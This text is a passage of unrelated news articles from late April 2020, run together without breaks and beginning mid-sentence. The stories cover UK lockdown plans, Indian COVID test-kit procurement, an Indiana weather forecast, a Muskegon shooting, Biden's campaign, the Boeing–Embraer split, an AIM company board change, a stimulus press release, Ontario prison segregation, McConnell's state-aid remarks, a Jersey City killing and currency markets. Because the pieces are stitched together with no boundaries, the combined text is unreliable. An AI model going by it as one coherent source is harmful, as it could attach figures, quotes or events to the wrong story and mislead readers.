minute's silence. We will be asking everybody who works in the government to take part and we would hope that others will take part nationwide as well." Meanwhile, Prime Minister Boris Johnson, who returned to work on Monday after his own battle with coronavirus, is reportedly planning to refine lockdown rules in the coming days, amid mounting pressure for the government to set out the next steps before a review on May 7. Johnson has insisted that he will not be relaxing restrictions too quickly. Speaking outside Downing Street on Monday, he said that dismissing social-distancing measures too soon could risk a second peak in the coronavirus crisis. The UK has so far reported 158,348 coronavirus cases, with 21,092 deaths. Latest updates on Coronavirus (COVID-19) Hyderabad, April 28 : Telangana's Information Technology Minister K.T. Rama Rao on Tuesday suggested to Union IT Minister Ravi Shankar Prasad to set up a task force to scout for new opportunities that will evolve in post-Covid world. Participating in a video conference the Union Minister had with the state IT ministers, Rama Rao expressed the view that this adversity presents great opportunities. Stating that India has the capacity to quickly develop tech solutions for post-Covid world, he called for giving an aggressive push to the electronics manufacturing sector. He also sought a help desk at the Ministry of Electronics and Information Technology (Meity) for coordinating/liaison with Income Tax (IT) and Goods and Services Tax (GST) offices for expediting the IT and GST refunds. KTR, as Rama Rao is popularly known, as per financial year 2018-19, the IT industry in Hyderabad has 5,43,033 employees working in 1,500 companies with annual exports at Rs 1,09,219 crore. He said more than 95 per cent of the IT/ITeS companies are operating on Work From Home (WFH) model. Very limited vehicle passes have been issued on a case by case basis for essential operations in the IT sector such as data centre maintenance, payroll, support services for healthcare and pharma, etc. Rest of the employees are working from home and the movement of hardware has been facilitated, he said. The three Police Commissionerates (Cyberabad, Hyderabad, and Rachakonda) are working very closely with the IT sector for ensuring the WFH and movement of IT/ ITeS essential services. KTR briefed Prasad on the steps taken by the state government to help citizens including IT employees and services providers during the lockdown. He also explained various initiatives using technology support for Covid-19 management. The minister also spoke about the innovations in the state for Covid-19 management. A Telangana-based start-up has evolved a Covid test kit and it is approved by Indian Council of Medical Research (ICMR). Two or three startups are working on Personal Protection Equipments (PPEs), gloves, and goggles. A low-cost working ventilator has also been developed by TWorks, a unique initiative of the Government of Telangana along with IIT Hyderabad, IIIT Hyderabad, several MNCs and startups. Highs today reached 73-79 (as of 5 p.m., so these may even rise another degree or two): Storms have flared up to our west. Severe T'Storm Watch is up in central Illinois. Showers/storms come through this evening-early night. Line of storms will be weakening with eastward progression through the area, but a couple/few embedded severe storms are possible in the general 9 p.m.-12 a.m. time frame. Best potential is along & west of US 231 (western half of the viewing area). Main threat would be wind. The Storm Prediction Center has us in MARGINAL with SLIGHT just west of state line. Showers tonight to tomorrow morning taper a bit with some dry slotting & sun tomorrow. This will bubble up spokes of gusty showers & t'showers with 58-66 highs, then falling temperatures late in the day as southwest to west winds turn to the northwest with gusts to 40 mph. If enough instability can develop with some of the sunshine, then a random, isolated, low-topped severe storm or two may form in one of these spokes pivoting around the low in our area. Tomorrow night to Thursday morning looks showery, windy & cold with 40-45. Rainfall will taper west to east Thursday & skies will begin to clear west to east. This will result in highs of 50 in the northeast & 62 in the far southwest (60 at Greater Lafayette). TOTAL RAINFALL NOW TO THURSDAY MIDDAY should run 1-2.25" with isolated +2.25" amounts. After 38-43 Thursday night, warm front should pass Friday with increasing clouds & highs 61-71 (70 Greater Lafayette) northeast to southwest over the area. Saturday looks windy & warm with strong southwest winds & highs 78-84. Showers & storms are possible Saturday night with MARGINAL to SLIGHT RISK severe parameters (best severe risk southwestern half from Morocco to Brookston to Rossville to Sheridan & southwestward). Another wave of showers & storms are possible Sunday with MARGINAL to SLIGHT RISK parameters (best severe risk along & south of 26). A few showers are possible Monday morning, followed by clearing skies. A big outbreak of severe weather is possible Kansas to Texas to western Arkansas to far southwestern Missouri Monday. ENHANCED to MODERATE RISK is likely in that zone. Possible HIGH RISK situation may evolve in central Oklahoma to south-central Kansas with strong to violent tornadoes possible. Rain & t'storms are likely Tuesday. It appears that severe weather risk may reach as far north as southern Indiana, but not here (at least not right now). Cooler-than-normal, drier-than-normal, much more stable pattern will occur May 7-10. We may have a couple of nights where lows drop to 33-38 ("Dogwood Winter". It is just a bit later than normal when looking at the normal last occurrence of 36 degrees. We will monitor to see if we drop to 32 in our northeast. It is possible. Note the climatology of the last 36-degree temperature in the graphic below: May 8-10 shows no severe weather risk anywhere in the U.S. with an expanse of cooler-than-normal weather. Severe weather risk returns May 10 in eastern Montana to North & South Dakota as heat surges northward there. Severe weather outbreak may occur eastern Montana through the Dakotas to Nebraska to Minnesota May 11 with highs there in the 70s & 80s. Additional severe weather is possible in the central Plains by May 13. However, we look severe weather risk-free May 4-14 in the viewing area (based on the data in front of me right now). Severe weather risk should return May 15 with one round & potentially another round May 16. Parameters suggest SLIGHT to ENHANCED. It will also get warm with highs in the 80s. Warmth overspreads a large area: MUSKEGON COUNTY, MI A suspect in a quadruple shooting in Muskegon has been arrested in Chicago. Joshua Rashard Green, 22, of Muskegon has been charged with four counts of assault with intent to murder in the shootings of two men and two women on April 10 in the 800 block of Oak Avenue, said Matt Roberts, chief trial attorney for the Muskegon County Prosecutors Office. Hes also charged with carrying a concealed weapon, committing a felony while possessing a firearm and being a felon in possession of a firearm. Green was arraigned on Monday, April 27 in Muskegon County District Court and is being held without bond. Assault with intent to murder carries a possible sentence of life in prison. The shooting was not a random incident, but rather was the result of an argument or disagreement among some parties, Roberts said. Somebody at the house that night called Green to the scene, he said. There were about 10 people at the home at the time, and multiple witnesses have been interviewed by police, Roberts said. Two men were in critical condition following the shootings, and two women had more minor gunshot wounds, authorities reported earlier. When police arrived at the shooting scene, the victims had left and later were located at the hospital, police said earlier. Injured were a 30-year-old Muskegon man with multiple wounds, a 27-year-old Muskegon Heights man with a chest wound, a 26-year-old Muskegon woman with a leg wound and a 45-year-old Muskegon woman with a leg wound, according to police. All are expected to recover, Roberts said. Green has prior felony convictions in 2016 for assault with intent to do great bodily harm and felony firearm, Roberts said. He served 2 years in prison, according to the Michigan Department of Corrections. Also on MLive: Suspect sought in quadruple shootings in Muskegon last week Man arrested in connection to drive-by shooting at busy Muskegon intersection Shipwreck discovered on Lake Michigan beach near Ludington Chicago: The coronavirus pandemic is pushing the food supply chain to its limits. Plant shutdowns are leaving Americans dangerously close to seeing meat shortages at grocery stores. Meanwhile, farmers are facing the likely culling of millions of animals and mass burial graves could soon be dug across the heartland. "The food supply chain is breaking," said John Tyson, chairman of Tyson Foods, the biggest US meat company. Tyson Foods workers wear protective masks and stand between plastic dividers at the company's poultry processing plant in Camilla, Georgia. Credit:AP Outbreaks are forcing the closure of some of the country's biggest slaughterhouses, where tens of thousands of animals are processed daily. As the plants shutter, producers are left with nowhere to sell their livestock. It's forcing farmers to make gut-wrenching decisions to dispose of their animals. The situation is so severe that the US government is setting up a centre partly to assist with "depopulation and disposal methods". Representative Image The Indian Council of Medical Research on Monday asked the states and union territories to stop using the rapid antibody COVID-19 testing kits procured from China due to "wide variation" in their performance even as the government said not a single rupee will be lost as payments were not made to the Chinese suppliers of the equipment. India procured around five lakh rapid antibody test kits from the two Chinese firms, Guangzhou Wondfo Biotech and Livzon Diagnostics, and they were distributed to several states reporting rising cases of the coronavirus infection. The ICMR's directive to states and UTs to not use the kits came in the midst of Congress leader Rahul Gandhi's allegations that some people were indulging in profiteering from the immeasurable suffering of millions. He urged Prime Minister Narendra Modi to intervene and take immediate strict action against the wrong-doers. In a communication to chief secretaries of all states and union territories, the ICMR asked them to stop using the kits saying it found "wide variation" in effectiveness of the equipment supplied by the two Chinese firms despite promise of good performance. It asked the states and UTs to return the kits so that they can be sent back to the suppliers. "The ICMR has not made any payment in respect of these supplies. Because of the due process followed (not going for procurement with 100 per cent advance amount), Government of India does not stand to lose a single rupee," the health ministry said. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show In an order last week, the Delhi High Court fixed the price of the antibody test kits at Rs 400 each as against Rs 600 approved by the ICMR. The ruling came on a plea by two companies, Rare Metabolics Life Sciences Pvt Ltd and Aark Pharmaceuticals, which had entered into an agreement with Matrix Labs, for distribution of the kits in India. Matrix Lab is the the importer of the kits. The two companies approached the court after Matrix sought full payment for the kits before delivering them, according to details submitted in the court. The Congress cited media reports about the test kits being sold to the government at around 150 per cent profit. Congress chief spokesperson Randeep Surjewala also said it was "shameful and inhuman" that people were supplying test kits bought for Rs 225 at Rs 600 to the state exchequer. In a fact sheet on the issue, the government said it had conducted a tender process to procure the kits and the evaluation committee received four bids of Rs 1,204, Rs 1,200, Rs 844 and Rs 600. Accordingly, bid offer of Rs 600 was considered as it was the lowest. An official said cancellation of the orders from the Chinese firms will not have any financial bearing on the government. The government said the procurement was undertaken when there was a huge demand for the test kits globally and various countries were applying their "full might", monetary and diplomatic, to acquire them. The government said the ICMR also tried to procure the kits directly from Wondfo in China but the quotation received for direct procurement had a number of issues including a condition for making 100 per cent direct payment as advance without any guarantees. It said there was no commitment on timelines and rates were communicated in US dollars without any clause for accounting for fluctuations in prices. "Hence, it was decided to go for Wondfo's exclusive distributor for India for the kit who quoted an all inclusive price for FOB (logistics) without any clause for advance," it said. The government had decided to procure rapid antibody testing kits as the regular tests (RT-PCR) take longer time. A number of states including Rajasthan and West Bengal complained about the quality of the test kits, following which the ICMR asked them to temporarily not use them. "Based on scientific assessment of their performance, the order in question (Wondfo) along with order in respect of another make found under-performing have been cancelled," the government said. The ICMR, in its communication to states and UTs, said it "evaluated the kits of Guangzhou Wondfo Biotech and Zhuhai Livson Diagnostics in field conditions. The results have shown wide variation in their sensitivity, despite early promise of good performance for surveillance purpose". The ICMR advisory advocated that-PCR throat/nasal swab test is the best use for diagnosis of COVID-19. The-PCR test detects the virus early and is the best strategy to identify and isolate the individual, the advisory said. A senior official said that due process was followed in finalising tenders for purchase the kits from China. The official also clarified that there is sufficient number of testing kits available to carry out-PCR tests for COVID-19 as per the government's testing strategy. Last week, the two Chinese pharma companies said they are ready to cooperate with Indian agencies looking into the allegations of poor accuracy of their kits. In separate statements, Guongzhou Wondfo Biotech and Livzon Diagnostics said they follow strict quality control of their products asserting that specified guidelines must be followed in storage of the kits as well as in their usages to get accurate results. Share this article Whatsapp Facebook Twitter Linkedin Elodie Cuzin (Agence France-Presse) Washington, United States Tue, April 28, 2020 08:12 625 fc6853813033f564188675f8bd49273d 2 World Joe-Biden,political-power,campaign,US-presidential-election,US-presidential-race Free Confined to his home to respect anti-virus measures and facing an accusation of sexual assault, Democratic presidential hopeful Joe Biden is finding it hard to get his message across in a country laser-focused on the health crisis. The former vice president has won a series of major endorsements -- the latest came from House Speaker Nancy Pelosi on Monday -- but has had to rely on late-night appearances and virtual town halls to make his voice heard. Meanwhile, President Donald Trump is front and center every day as the nation combats the global pandemic and haltingly moves down the path to reopening the economy. Is it time for the Democrats to worry? Kyle Kondik, a political analyst at the University of Virginia, says no. "Biden wants to make this election more of a referendum on Trump," Kondik told AFP. "That Trump dominates the news while Biden doesn't is not a problem for this kind of strategy, because Trump's domination of the news is not at this point broadening Trump's own level of support." Indeed, in her endorsement, Pelosi hailed Biden as a man of "empathy, grace and courage" and "a leader with the humility to seek expertise in science and the confidence to act on it" -- a pointed bid to draw a contrast with Trump. "As we face coronavirus, Joe Biden has been a voice of reason and resilience with a clear path to lead us out of this crisis," she said. Democrats rally behind Biden More than 2,500 lawmakers, officials and community leaders have rallied behind Biden, his campaign team said Monday. Of course, the biggest endorsement of them all came from Biden's former boss Barack Obama, who is still extremely popular among Democrats. He also won the backing of his former rivals, including leading progressives senators Bernie Sanders and Elizabeth Warren. Biden will not be officially designated as the Democratic Party's candidate until its convention, postponed to August, and the early rally to the cause by party grandees is rare. Hillary Clinton was not declared the candidate until June 2016. But the advantage Biden might have earned -- especially in terms of making up fundraising ground against Trump -- has been effectively neutralized by the coronavirus pandemic. Biden is locked down at his home in Delaware, where he built a makeshift studio in his basement for his television appearances. He even launched a podcast. On campaigning in a more traditional way, a Biden advisor told AFP: "He would very much enjoy that if it was at all possible right now, but we are always careful to follow the guidance of health officials." But Trump is everywhere in the media, in large part thanks to his daily virus briefings over the past month. Even other Democrats like Pelosi and New York Governor Andrew Cuomo are getting more air time. And Trump's Republicans are openly mocking Biden, saying he seems to be a hostage in his own home. Of course, the incumbent's briefings are not always registered in the win column, as last week's disastrous statements about injecting disinfectant have shown. Accusation Biden has more than his relative absence from the headlines to tackle -- a former staffer has accused him of sexually assaulting her years ago, a claim his team firmly denies. Tara Reade, who had previously accused the 77-year-old of unwanted touching, expanded on her claims in March, saying he assaulted her in August 1993. In the past month, she has repeated her story to several media outlets, and has reportedly filed a complaint with Washington police, which does not name Biden. "This absolutely did not happen," Biden spokeswoman Kate Bedingfield said on April 13. "It is untrue." The campaign has not made any new statements on the issue since that time. When AFP asked on Monday for comment, the team referred to the past statement. Other women have accused Biden of touching or embracing them inappropriately in the past, and Reade's initial claims were similar -- less severe than her most recent allegations. The New York Times reported that it had interviewed Reade on multiple occasions, along with her friends and others who worked for Biden in the early 1990s. According to the Times, no former Biden staffers corroborated her account, and a pattern of misconduct was not uncovered. A friend said Reade had told her about the alleged assault at the time. A second friend said Reade told her in 2008 of a traumatic experience while working in Biden's office. Reade said she had also related the incident to her brother. More than a dozen women have accused Trump of sexual misconduct before he became president, including a writer who claims he raped her in a Manhattan department store. (Photo : REUTERS/Mike Blake) A number of grounded Southwest Airlines Boeing 737 MAX 8 aircraft are shown parked at Victorville Airport in Victorville, California, U.S., March 26, 2019. The American aerospace giant Boeing announced that it is withdrawing from a joint venture with the Brazilian aircraft maker Embraer. Under the deal, Boeing will get an 80% stake in Embraer's commercial jet unit and a 49% stake in the company's transport plane C-390 Millennium. Marc Allen, president of Boeing's Embraer partnership unit, said in a press release described the decision to terminate the partnership as "deeply disappointing." Allen explained that any continued discussion would not resolve the outstanding issues. The Fate of the C-390 Plane The decision of Boeing to back out from a $4.2 billion agreement will significantly hurt the Brazilian company and its flagship military aircraft. The breakup of the partnership put the fate of the C-390 Millennium cargo plane in an uncertain situation. C-390 Millennium is a military transport aircraft produced by Embraer which can perform aerial refueling and carry and troops. Embraer and Boeing announced their joint venture in last year's Dubai Air Show to sell the cargo plane in the global market. With the agreement, Boeing has a military transport aircraft that can challenge Lockheed Martin's C-130. Aerospace analyst Richard Aboulafia of the Teal Group told Defense News that without Boeing, the future of the cargo plane "isn't all that great." However, despite the collapse of the agreement, Boeing said that it would support Embraer in the global marketing of C-390 Millennium. It will be interesting to observe the next move of Embraer and what will be the future of the C-390 Millennium cargo plane as the upcoming months unfold. A New Partner? With the termination of its partnership with Boeing, Embraer can start searching for a potential new partner for the medium-lift cargo plane. Byron Callan, an analyst from Capital Alpha Partners, said that what needs to see is whether the company will look for new partnerships elsewhere for either the C-390 or its commercial business. Callan added that Embraer could partner with Airbus since, like Boeing, it does not have a medium cargo transport aircraft that contest the dominance of C-130 in this aircraft category. A Relationship that Turned Sour Following the termination of the deal, Embraer stated that it would file a lawsuit against Boeing for the failed transaction. Boeing told Defense News that for over two years, the company had worked diligently to close the deal with Embraer. However, Boeing claimed that Embraer "left some conditions of the master transaction agreement, or MTA, unresolved." On the other hand, Embraer asserted that the company had met all its contractual obligations. The manufacturer blamed Boeing's financial issues and the fatal crash of two Boeing 737 MAX as the reason behind Boeing's withdrawal from the deal. Embraer told Defense News that it firmly believes that Boeing has wrongfully terminated the MTA. The company added that Boeing just manufactured false claims to evade its commitments to close the deal and pay Embraer the U.S. $4.2 billion. The Brazilian manufacturer revealed that Boeing repeatedly violated the MTA and systematically delayed the deal. It is evident, according to the company, with its "unwillingness to complete the transaction." Defense analyst Cai Von Rumohr said that Boeing and Embraer should continue their partnership on the C-390 cargo plane. Rumohr also noted that continued collaboration between the two aircraft manufacturers highly depends on the possibility of salvaging the relationship. The termination of the deal with Boeing and the negative impact of the COVID-19 pandemic will have implications for the financial standing of Embraer. It is a likely scenario that the company will seek stimulus funds from the Brazilian government to sustain its operation. ALSO READ: Boeing Develops Airplane Bathroom That Cleans Itself After Every Use 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. 28 April 2020 TECTONIC GOLD PLC ("Tectonic Gold" or the "Company") Directorate Change Tectonic Gold plc (TDIM: TTAU) is pleased to announce the appointment of Dennis Edmonds to the Board of Directors as a Non-Executive Director. Dennis will oversee the appropriate functioning of the board, ensuring proper corporate governance, and contribute to the strategy of the Company as the transaction announced on 18 December 2019 moves forward to completion. At the same time, Mr Zegham ("Zeg") Choudhry has retired from the board. Mr Edmonds has a wealth of commercial and corporate experience in southern Africa, having practised as a corporate solicitor in South Africa and subsequently in the United Kingdom. He is a specialist in structuring and executing corporate transactions. Over the past 15 years, Mr Edmonds has been a director of public and private companies, including many within the mineral resources sector. He is very familiar with the Company's South African projects having travelled to site in January 2020 prior to the COVID-19 restrictions and met with local stakeholders. He joins the Board to oversee the executive team in managing those relationships and progressing the transaction for the sale of a majority interest in the projects. Mr Edmonds is currently on the Board of AIM listed Pathfinder Minerals Plc, a company with mining interests in Mozambique. Mr Choudhry was appointed to the board of Signature Gold Plc (trading as Stratmin Global Resources Plc), on 15 September 2016 and was involved as an independent non-executive director supporting the repositioning of the group from graphite to gold and diamonds and its admission to trading on the AQSE Growth Market (formerly the NEX Exchange Growth Market). About Tectonic Gold: Tectonic Gold is a specialist gold exploration company, focused on the identification and delineation of large-scale, multimillion-ounce Intrusion Related Gold System ("IRGS") assets. Tectonic Gold holds a number of gold discoveries in Eastern Australia, a prolific gold region that is home to Australia's two largest gold production companies, Newcrest Mining and Evolution Mining. Mr. Brett Boynton, Managing Director - Tectonic Gold Plc I would like to thank Zeg for his support over the last three years and his considered guidance to the group on the London capital markets. He has provided a steady oversight to our transactions as an independent director and was instrumental in our reverse takeover and admission to trading. I would also like to welcome Dennis to the board of Tectonic and look forward to working with him as we develop our strategy. The Directors of the Company accept responsibility for the contents of this announcement. For further information, please contact: Tectonic Gold plc Brett Boynton Sam Quinn www.tectonicgold.com @tectonic_gold +61 2 9241 7665 AQSE Corporate Adviser and Broker Peterhouse Capital Limited Mark Anwyl +44 20 7469 0930 Financial Adviser and Broker VSA Capital Limited Andrew Raca - Corporate Finance Andrew Monk - Corporate Broking +44 20 3005 5004 Ends Save as set out below, there is no further information regarding Dennis Vernon Edmonds (aged 63) that is required to be disclosed pursuant to Appendix 1, Table A, paragraph 5.1.2 of the AQSE Growth Market - Rules for Issuers. Current Directorships/Partnerships Past Directorship/Partnerships Draganfly Investments Limited Alien Metals Ltd Pathfinder Minerals Plc Alien Minerals Limited Alien Resources Limited Alien Exploration Limited Arian Silver Corporation (UK) Limited Arian Silver (Holdings) Limited Bubblr Limited The directors of Draganfly Investments Limited ("Draganfly"), incorporated in Jersey, Channel Islands, called a General Meeting for 26 July 2019 to voluntarily wind Draganfly up and to appoint liquidators. At the General Meeting, the necessary resolutions to wind Draganfly up were not passed and Draganfly now intends to instruct solicitors to apply to court for a liquidator to be appointed. The information contained within this announcement is deemed by the Company to constitute inside information as stipulated under the Market Abuse Regulations (EU) No. 596/2014. Upon the publication of this announcement via a Regulatory Information Service, this inside information is now considered to be in the public domain. James Feldkamp explains the details of the stimulus bill in response to COVID-19 and helps readers understand what it means for them. ARLINGTON, VA / ACCESSWIRE / April 28, 2020 / Having worked for the government for years, James Feldkamp is able to share his professional insight on political topics with readers to increase their understanding and awareness of essential subjects. Below, he explains what the recent COVID-19 stimulus checks mean for most citizens. "The government is stepping in to help keep our economy afloat and to provide a little financial relief to our citizens through a massive stimulus bill enacted by the president earlier last month," says James Feldkamp. The stimulus bill is the most tremendous in modern history totaling $2 trillion and providing support to citizens, businesses, and corporations in all 50 states. James Feldkamp tells us that many people don't really understand where the money is going, how it will directly affect their lives, and when they can expect a check. "Families and individuals will receive a direct payment into their bank accounts soon or else get a check in the mail totaling their portion of the stimulus," says James Feldkamp. "Individuals and couples are allowed to receive support of up to $1,200, and families with children are eligible for an additional $500 per child." However, this isn't the case for all citizens. If you earn more than $75,000 annually, you will likely receive a smaller portion of the stimulus as the total is adjusted to the amount each person makes (based on income taxes from previous years). Individuals who make over $99,000 annually won't receive any portion of the check. "The question on many people's minds is when exactly they can expect their stimulus money to come in," says James Feldkamp. "There hasn't been a certain date set for the release of funds to citizens, but it's anticipated that they will take at least a few more weeks. People can expect their checks or deposits to show up hopefully sometime later this month if current projections stay on track." In addition to this money, unemployment benefits have also been amped up during this time to provide much needed relief. People who are out of work may be entitled to receive up to an additional $600 a week. The timing for this relief is expected to mirror stimulus checks, with people hopefully receiving their funds by the end of April. "Billions of dollars in small business loans have also been made available through the stimulus bill, which will help sustain many from going under," says James Feldkamp. "All in all, while people may argue over the amount of the bill or the timing it takes to dish out funds, help is on its way and should be available within a few short weeks." CONTACT: Caroline Hunter Web Presence, LLC +1 7865519491 SOURCE: Web Presence, LLC View source version on accesswire.com:https://www.accesswire.com/587375/James-Feldkamp-Helps-Readers-Understand-Details-of-Recent-Stimulus-Bill As coronavirus exploded nationwide without a strong federal response, many governors, including Washington's Jay Inslee, stepped up. Sweeping state-level orders to shutter schools, ban gatherings and stay home from nonessential tasks tamped down the catastrophe. These restrictions remain essential to public health. But the nation's eyes have turned longingly to the resumption of socializing and capitalism. More than 2,000 protesters in Olympia, Wash., rallied recently in violation of orders, urging the governor to roll back the closures, even as COVID-19 deaths continue to accumulate. Clearly, the agitators here and in Minnesota, Ohio and Michigan are dangerously misguided. But in the absence of coherent national policy, it is incumbent on every state's leadership to map a safe route back to business. Gov. Inslee's decision to coordinate the state's reopening decision with those in Oregon and California was a shrewd move in several ways. The states share the Interstate 5 corridor, access to the Pacific Ocean and immense economic overlap, so pooling coronavirus data and decision-making resources to craft a plan makes sense. The Western States Pact also potentially can combine purchasing powers of the three states for economies of scale on key supplies, such as the masks, gowns and gloves hospitals need. And if social restrictions are generally the same in all three states, there will be little opening for flouters to exploit differences in rules by hopping borders. Lastly, the coalition-building puts more political pressure on the federal government to respond to states' needs. After the Western states and a group of seven East-Coast states announced intentions to act collectively, President Donald Trump retreated from his troubling assertion of total authority over social restrictions. "You're going to call your own shots," Trump told governors on April 16, the same day a group of seven Midwestern governors announced a third alliance. The Western States Pact does not solve every problem Washington, Oregon and California leaders have encountered. Only federal authority can mobilize the defense supply chain to manufacture more coronavirus supplies, as Inslee has repeatedly requested. Widespread testing is needed on a national level, not a regional one. And each state has unique concerns to weigh. In the name of social distancing to prevent infection, Inslee freed hundreds of prisoners early and stopped residential construction. Across the Columbia River, Oregon Gov. Kate Brown has declined to make similar moves. But, by actively working together, the states can more powerfully and efficiently handle their common mission. In the absence of the federal action America needs, it's the strongest way for the West Coast to find the road back to normalcy. The above editorial appeared in the Seattle Times. It was distributed by Tribune Content Agency. More than six years after Ontario signed a landmark human rights settlement, segregation a highly controversial practice recognized to be especially harmful to mentally ill inmates remains a common practice in Ontario provincial prisons, according to a new independent review by an Ontario judge. The critical report, which was quietly posted on the Ministry of the Solicitor General website late Friday, is the latest development in a years-long legal battle that stems from the treatment of Christina Jahn, an Ottawa prisoner with a mental illness and cancer who was kept in solitary confinement for over 200 days. Jahns complaint which alleged she experienced brutal and humiliating treatment, was beaten, and denied access to treatment for mental illness and cancer ultimately mandated the province in 2013 to agree to changes aimed at improving conditions for inmates, especially those with mental health issues. But in an extensive review of Ontarios progress to date, independent reviewer Justice David Cole found the province has fallen down on central aspects of the joint agreement, including remedies intended to reduce the use of segregation, and a commitment to fulsome data collection and reporting. It cannot be ignored that the ministrys failure to commit itself fully to and implement the various Jahn remedies has now been going on for nearly 61/2 years, reads Coles report, which drew on the expertise of Kelly Hannah-Moffat, the reports independent expert on human rights and corrections. Greg Flood, spokesperson for the Ministry of the Solicitor General, said in an email Friday night that the report will inform our ongoing and future work, noting that all 31 of the time specific deliverables were successfully implemented by the ministry in a timely fashion. We are working with all of our partners, including our front-line correctional staff and justice partners to make correctional services in Ontario safer for all our staff and those in our custody, Flood said in an email. In response to recommendations requiring legislative change, the ministry said in the report, which was dated Feb. 25, that it would consider them and implementation would depend on direction received. After two years of study, the authors wrote that they found the ministry far too insular and were troubled that many of those drafting policy in its corporate headquarters have never experienced the realities of institutional corrections for adults in any sustained way. In their opinion, this lack of knowledge of corrections on the ground all too often seems to be compounded by the fact that within the ministrys corporate offices, advisers who are, by virtue of their field experience, presumed to have particular expertise are simply outdated in some of their understandings of criminal law and Ontarios privacy legislation. To address what Cole and Hannah-Moffat called the provinces continuing deficiencies in implementing the remedies, the experts recommend that external oversight mechanisms be immediately instituted across the ministry. That includes a call for a correctional inspector general and the creation of an advisory committee on the treatment of mentally ill inmates. The recommendation of a correctional inspector general repeats a call made by Howard Sapers, a former federal correctional investigator who advised Ontario on jails, a change that was passed in an act by the previous Liberal government. The authors urge the province to make it happen and give the office a mandate to independently oversee Ontario provincial corrections. For reasons that have never been made clear to either of us, reads the report, there seems to be reluctance to proclaim in force those portions of the law that relate to the establishment and adequate staffing of this new office. Coles report includes a detailed analysis of the use of segregation, finding Ontario has not substantially reduced the practice to date. Between July 1, 2018 and June 30, 2019, there were 24,220 segregation placements; of those 1,969 or eight per cent were for 30 continuous days or longer, and 63 per cent of these placements involved inmates with mental health alerts on file. Overall, this data shows that prolonged segregation (15 days or longer) remains a routine practice for individuals with mental health and/or suicide risk alerts on file, according to the report. Being segregated for periods longer than 15 days should be banned, according to the United Nations, because of the proven psychological damage it can cause. John Struthers, president of the Criminal Lawyers Association, said Friday that the use of intolerably cruel solitary confinement of the mentally ill has to end, calling it totally unacceptable in a modern and compassionate society. A society is judged by how we treat the least fortunate, Struthers said Friday. We have a failing grade. There must be meaningful oversight to end this. Senate Majority Leader Mitch McConnell. Eric Thayer/Reuters Senate Majority Leader Mitch McConnell suggested last week that federal aid amounted to a "blue state bailout," adding that states should file for bankruptcy instead of receiving emergency cash. His home state of Kentucky netted more federal cash than 47 other states, according to the Rockefeller Institute of Government. McConnell's comments amounted to "one of the really dumb ideas of all time," according to New York Gov. Andrew Cuomo. Maryland Gov. Larry Hogan said: "The last thing we need in the middle of an economic crisis is to have states all filing bankruptcy all across America and not able to provide services to people who desperately need them." Visit Business Insider's homepage for more stories. Senate Majority Leader Mitch McConnell's office released a press statement with the headline "blue state bailout" last week, but his effort to politicize the coronavirus response was rebuked by Democrats and Republicans alike. The description is also false, Washington Post columnist Allan Sloan wrote on Monday. McConnell's home state of Kentucky receives more federal funds than it pays back to the federal government, according to a 2020 report by the Rockefeller Institute of Government titled "Who Gives and Who Gets?" Kentucky has a bigger balance than 47 other states from the 2015 fiscal year through 2018. It received a net total of $148 billion, according to the report. It's behind only Maryland and Virginia, which receive a large amount of funding partly because of their proximity to the country's capital. Per capita, the Bluegrass State beat out 49 states over that period, according to the report. Even so, McConnell has pushed to prevent bailout cash for states, saying they should file for bankruptcy instead. "I think this whole business of additional assistance for state and local governments needs to be thoroughly evaluated," he said in a radio interview. "There's not going to be any desire on the Republican side to bail out state pensions by borrowing money from future generations." Story continues Democratic New York Gov. Andrew Cuomo, whose state has the most coronavirus cases, called McConnell's comment "one of the really dumb ideas of all time." It's "irresponsible and reckless," Cuomo added. New York contributes more funding to the federal government than any other state by a significant margin, giving $166 billion over the same 2015 to 2018 time frame. Republican Maryland Gov. Larry Hogan echoed Cuomo's criticisms. "The last thing we need in the middle of an economic crisis is to have states all filing bankruptcy all across America and not able to provide services to people who desperately need them," Hogan said. Read the original article on Business Insider The Jersey City restaurant owner who was slain by her boyfriend in their Downtown apartment Sunday morning in an apparent murder-suicide was five months pregnant, Hudson County Prosecutor Esther Suarez said. The death of 35-year-old Garima Kothari, owner of the new Indian restaurant Nukkad, was ruled a homicide after an autopsy by the state Regional Medical Examiner, which also revealed that she was pregnant, Suarez said. The body of Man Mohan Mall, 37, was pulled from the Hudson River at the foot of Montgomery Street Sunday morning at approximately 7 a.m., roughly the same time Kothari was found dead. Kothari had multiple upper body injuries, Suarez said. The cause and manner of Malls death is still pending with the Regional Medical Examiner. According to his LinkedIn.com page, Mall was a vice president at Deutsche Bank. Kothari, a one-time investment banker, had just opened Nukkad at 105 Greene St. in February. The Prosecutors Office Homicide Unit is actively investigating this case with assistance from the Jersey City Police Department. Suarez said that while the deaths are currently considered a murder-suicide, the final determination is still pending the complete findings of the Regional Medical Examiners Office. Anyone with information is asked to contact the Office of the Hudson County Prosecutor at 201-915-1345 or to leave an anonymous tip on the Hudson County Prosecutors official website at: http://www.hudsoncountyprosecutorsofficenj.org/homicide-tip/. All information will be kept confidential. The dollar dropped against a basket of other currencies for the second day on Tuesday as investors rebalanced portfolios for month-end. Stock investors were cheered by better than expected corporate earnings and economic optimism after several countries and U.S. states laid out plans to reopen businesses that were shut to stem the spread of the novel coronavirus. Month-end rebalancing is also negative for the greenback with the U.S. dollar likely to be sold against the euro, sterling, the Japanese yen and the Australian dollar, according to Mark McCormick, global head of FX strategy at TD Securities in Toronto. These flows, in combination with a number of central bank meetings this week, make it difficult to read too much into market moves, he said. 